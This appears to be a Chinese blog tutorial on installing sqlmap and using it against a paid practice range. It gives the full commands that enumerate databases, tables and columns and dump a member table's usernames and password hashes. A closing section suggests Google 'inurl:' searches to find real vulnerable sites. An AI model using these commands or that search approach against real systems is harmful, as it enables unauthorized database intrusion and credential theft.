根据官网的描述,sqlmap 是一个开源的渗透测试工具,可以用来进行自动化检测,利用 SQL 注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。

安装

通过git clone 到本地

git clone https://github.com/sqlmapproject/sqlmap.git

为了以后方便使用,设置 sqlmap 的别名,这一步跟 windows 环境下设置环境变量差不多

vim ~/.bash_profile

添加 alias sqlmap="python /Users/lzc/sqlmap/sqlmap.py"
然后执行

source ~/.bash_profile

这样就可以直接在命令行里使用 sqlmap 了

使用

首先需要找到一个可注入的靶场。通过 墨者学院 提供的靶场环境进行测试。注册账号,支付1墨币,开启在线靶场

访问靶场 http://219.153.49.228:48753/

打开可注入的页面 http://219.153.49.228:48753/new_list.php?id=1

判断注入点,获取网站信息

sqlmap -u "http://219.153.49.228:48753/new_list.php?id=1"

可以看到该网站是存在布尔忙注、时间盲注和联合查询几种注入方式的

获取所有数据库

sqlmap -u "http://219.153.49.228:48753/new_list.php?id=1" --dbs

这里拿到了5个库,分别是

  1. information_schema
  2. mozhe_Discuz_StormGroup
  3. mysql
  4. performance_schema
  5. sys

获取网站当前所使用的数据库

sqlmap -u "http://219.153.49.228:48753/new_list.php?id=1" --current-db

这里看到当前在使用的数据库是 mozhe_Discuz_StormGroup

获取数据库中的表名

sqlmap -u "http://219.153.49.228:48753/new_list.php?id=1" -D mozhe_Discuz_StormGroup --tables

这里拿到了2张表,分别是

  1. StormGroup_member
  2. notice

获取数据表中的字段名

sqlmap -u "http://219.153.49.228:48753/new_list.php?id=1" -D mozhe_Discuz_StormGroup -T StormGroup_member --columns

这里拿到了4个字段,分别是

ColumnType
idint(11)
namevarchar(20)
passwordvarchar(255)
statusint(11)

获取字段中的内容

sqlmap -u "http://219.153.49.228:48753/new_list.php?id=1" -D mozhe_Discuz_StormGroup -T StormGroup_member -C "id,name,password,status" --dump

这里拿到了2条数据,分别是

idnamepasswordstatus
1mozhe356f589a7df439f6f744ff19bb8092c00
1mozhe75a1ca9ffe3627d22884130e8493752a1

搜索有漏洞的网站

借助google的“inurl:” 语法,搜索有特征的url,很容易找到有漏洞的站点的。比如:

如果觉得我的文章对你有用,请随意赞赏